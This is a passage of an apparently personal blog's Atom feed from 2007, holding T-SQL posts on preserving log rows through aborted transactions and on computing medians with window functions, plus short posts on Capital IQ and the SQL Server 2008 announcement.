blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: red;"&gt;'#test'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;COUNT&lt;/span&gt;&lt;span style="color: gray;"&gt;(*)&lt;/span&gt; &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; #Test&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;insert&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;into&lt;/span&gt; TranLogging&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;select&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: gray;"&gt;*&lt;/span&gt; &lt;span style="color: blue;"&gt;from&lt;/span&gt; @TranLogging&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;select&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: gray;"&gt;*&lt;/span&gt; &lt;span style="color: blue;"&gt;from&lt;/span&gt; TranLogging&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DROP&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; Test&lt;span style="color: gray;"&gt;,&lt;/span&gt;#Test&lt;span style="color: gray;"&gt;,&lt;/span&gt;TranLogging&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;You'll notice that the row inserted into the table variable was maintained after the rollback, you can use this after a rolled-back transaction to copy failures/abortions into a more persistent logging table.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-6145673540291633361?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/6145673540291633361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=6145673540291633361' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/6145673540291633361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/6145673540291633361'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/07/persitant-logging-through-aborted.html' title='Persitant Logging through Aborted Transactions'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-3027405500831289832</id><published>2007-07-12T09:50:00.000-04:00</published><updated>2007-07-12T10:49:51.274-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Capital IQ'/><category scheme='http://www.blogger.com/atom/ns#' term='The Street'/><title type='text'>Capital IQ Screening Team mentioned on TheStreet.com</title><content type='html'>As you probably know I work for Capital IQ on the Screening &amp; Analytics Team, I'm always interested to see how clients use the tools I help develop.  Today we were mentioned on TheStreet.com as a tool used by one of their writers, although we do have the majority of wall street as clients, its always cool to see a mention in the media.&lt;br /&gt;&lt;br /&gt;&lt;span class="MainHeadline"&gt;&lt;/span&gt;&lt;h1 class="MainHeadline"&gt;&lt;a href="http://www.thestreet.com/s/these-gene-drug-stocks-are-getting-hot/newsanalysis/biotech/10367407.html?puc=_tsccom"&gt;&lt;span style="font-size:85%;"&gt;These Gene-Drug Stocks Are Getting Hot&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-3027405500831289832?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/3027405500831289832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=3027405500831289832' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3027405500831289832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3027405500831289832'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/07/capital-iq-screening-team-mentioned-on.html' title='Capital IQ Screening Team mentioned on TheStreet.com'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-1258052726347030814</id><published>2007-07-05T20:20:00.000-04:00</published><updated>2007-07-06T14:25:21.713-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TSQL'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>Calculating Medians in TSQL using 2005 Window Functions</title><content type='html'>Calculating Medians can be a common and expensive operation in many applications, inefficiently&lt;br /&gt;&lt;br /&gt;The hard part about medians is that you need to take the middle value for an odd number of elements and the 2 middle values for an even number of elements.&lt;br /&gt;&lt;br /&gt;The cool thing here is that when you can take these two sequences sorted in opposite directions the absolute difference between the two is smaller than or equal to 1 only for elements that are required for the median calculation.&lt;br /&gt;&lt;br /&gt;In this case you’re using ‘memberid’ (or some other unique value) as the tiebreaker to guarantee determinism of the row number calculations. This is required for using this trick to figure out the median.&lt;br /&gt;&lt;br /&gt;Once you grab only the values you need for the median calculation you can isolate them by grouping them by groupid and calculate the average for each group.&lt;br /&gt;&lt;br /&gt;&lt;p class="MsoNormal" style=""&gt;&lt;span style=""&gt;&lt;/span&gt;&lt;/p&gt;&lt;blockquote style="font-family: courier new;"&gt;                &lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-size:85%;" &gt;WITH&lt;/span&gt;&lt;span style=";font-size:85%;" &gt; RN &lt;span style="color:blue;"&gt;AS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;    SELECT&lt;/span&gt; groupid&lt;span style="color:gray;"&gt;,&lt;/span&gt; val&lt;span style="color:gray;"&gt;,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;    ROW_NUMBER&lt;span style="color:blue;"&gt;()&lt;o:p&gt;&lt;/o:p&gt; OVER&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;PARTITION&lt;/span&gt; &lt;span style="color:blue;"&gt;BY&lt;/span&gt; groupid &lt;span style="color:blue;"&gt;ORDER&lt;/span&gt; &lt;span style="color:blue;"&gt;BY&lt;/span&gt; val&lt;span style="color:gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;span style="color:blue;"&gt;AS&lt;/span&gt; rna&lt;span style="color:gray;"&gt;,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;    ROW_NUMBER&lt;span style="color:blue;"&gt;() OVER&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;PARTITION&lt;/span&gt; &lt;span style="color:blue;"&gt;BY&lt;/span&gt; groupid &lt;span style="color:blue;"&gt;ORDER&lt;/span&gt; &lt;span style="color:blue;"&gt;BY&lt;/span&gt; val &lt;span style="color:blue;"&gt;DESC&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt; memberid &lt;span style="color:blue;"&gt;DESC&lt;/span&gt;&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;span style="color:blue;"&gt;AS&lt;/span&gt; rnd&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;&lt;span style="color:blue;"&gt;    FROM&lt;/span&gt; dbo&lt;span style="color:gray;"&gt;.&lt;/span&gt;Groups&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;        &lt;p class="MsoNormal"&gt;&lt;span style=";font-size:85%;" &gt;SELECT&lt;/span&gt;&lt;span style=";font-size:85%;" &gt; groupid&lt;span style="color:gray;"&gt;,&lt;/span&gt; &lt;span style="color:fuchsia;"&gt;AVG&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;1.&lt;span style="color:gray;"&gt;*&lt;/span&gt;val&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;span style="color:blue;"&gt;AS&lt;/span&gt; median&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;FROM&lt;/span&gt;&lt;span style=";font-size:85%;" &gt; RN&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;WHERE&lt;/span&gt;&lt;span style=";font-size:85%;" &gt; &lt;span style="color:fuchsia;"&gt;ABS&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;rna &lt;span style="color:gray;"&gt;-&lt;/span&gt; rnd&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;span style="color:gray;"&gt;&lt;=&lt;/span&gt; 1&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;GROUP&lt;/span&gt;&lt;span style=";font-size:85%;" &gt; &lt;span style="color:blue;"&gt;BY&lt;/span&gt; groupid&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Here’s the temp table I made to test this out&lt;br /&gt;&lt;br /&gt;         &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;USE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; tempdb&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;IF&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: fuchsia;"&gt;OBJECT_ID&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'dbo.Groups'&lt;/span&gt;&lt;span style="color: gray;"&gt;)&lt;/span&gt; &lt;span style="color: gray;"&gt;IS&lt;/span&gt; &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;DROP&lt;/span&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;                                                          &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;CREATE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;  groupid  &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;10&lt;span style="color: gray;"&gt;)&lt;/span&gt; &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  memberid &lt;span style="color: blue;"&gt;INT&lt;/span&gt;         &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  string   &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;10&lt;span style="color: gray;"&gt;)&lt;/span&gt; &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  val      &lt;span style="color: blue;"&gt;INT&lt;/span&gt;         &lt;span style="color: gray;"&gt;NOT&lt;/span&gt; &lt;span style="color: gray;"&gt;NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;PRIMARY&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; &lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;    &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'a'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 3&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'stra1'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 6&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'a'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 9&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'stra2'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 7&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'b'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 2&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'strb1'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 3&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'b'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 4&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'strb2'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 7&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'b'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 5&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'strb3'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 3&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'b'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 9&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'strb4'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 11&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'c'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 3&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'strc1'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 8&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'c'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 7&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'strc2'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 10&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; dbo&lt;span style="color: gray;"&gt;.&lt;/span&gt;Groups&lt;span style="color: gray;"&gt;(&lt;/span&gt;groupid&lt;span style="color: gray;"&gt;,&lt;/span&gt; memberid&lt;span style="color: gray;"&gt;,&lt;/span&gt; string&lt;span style="color: gray;"&gt;,&lt;/span&gt; val&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'c'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 9&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'strc3'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; 12&lt;span style="color: gray;"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;GO&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-1258052726347030814?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/1258052726347030814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=1258052726347030814' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1258052726347030814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/1258052726347030814'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/07/calculating-medians-in-tsql-using-2005.html' title='Calculating Medians in TSQL using 2005 Window Functions'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-7126672888787510612</id><published>2007-06-07T06:54:00.000-04:00</published><updated>2007-06-07T09:57:16.074-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2008'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>SQL Server 2008</title><content type='html'>&lt;div class="BlogPostContent"&gt;         &lt;p&gt;On Monday at TechEd they announced the official name of the next version of SQL Server - &lt;strong&gt;Microsoft SQL Server 2008&lt;/strong&gt; and released the first public CTP (Community Technology Preview) of it for people to start playing with and evaluating.&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;em&gt;"SQL Server 2008 Product Overview" &lt;/em&gt;&lt;strong&gt;&lt;a class="" href="http://www.microsoft.com/sql/techinfo/whitepapers/sql2008Overview.mspx" 